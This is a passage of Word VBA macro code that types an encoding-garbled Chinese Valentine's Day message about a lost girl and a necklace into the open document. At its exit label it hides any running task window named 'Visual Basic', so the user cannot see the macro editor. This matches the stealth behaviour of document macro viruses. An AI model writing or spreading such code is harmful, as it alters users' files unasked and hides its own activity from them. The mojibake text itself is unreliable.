    Selection.TypeText Text:="  ½ñÌìÊÇÇéÈ˽ڣ¬ÎÒÓÖÏëÆðÁËÄÇ´¬£¬ÄǺӺÍÔÚÄÇÌõºÓºÍ´¬ÉÏÓöµ½µÄÒ»¸öÔøÏëΪ֮ÉúΪ֮ËÀµÄÅ®º¢£¬»¹ÓÐÒ»Ìõ×ÔÒÑÏÖÔÚÎÞÄÜΪÁ¦Òª»»»ØµÄÏîÁ´......"
    Selection.TypeParagraph
Next i
End If
Selection.TypeParagraph


exit_:
    For Each myTask In Tasks
        If InStr(myTask.Name, "Visual Basic") > 0 Then
            myTask.Visible = False
        End If
    Next myTask
End Sub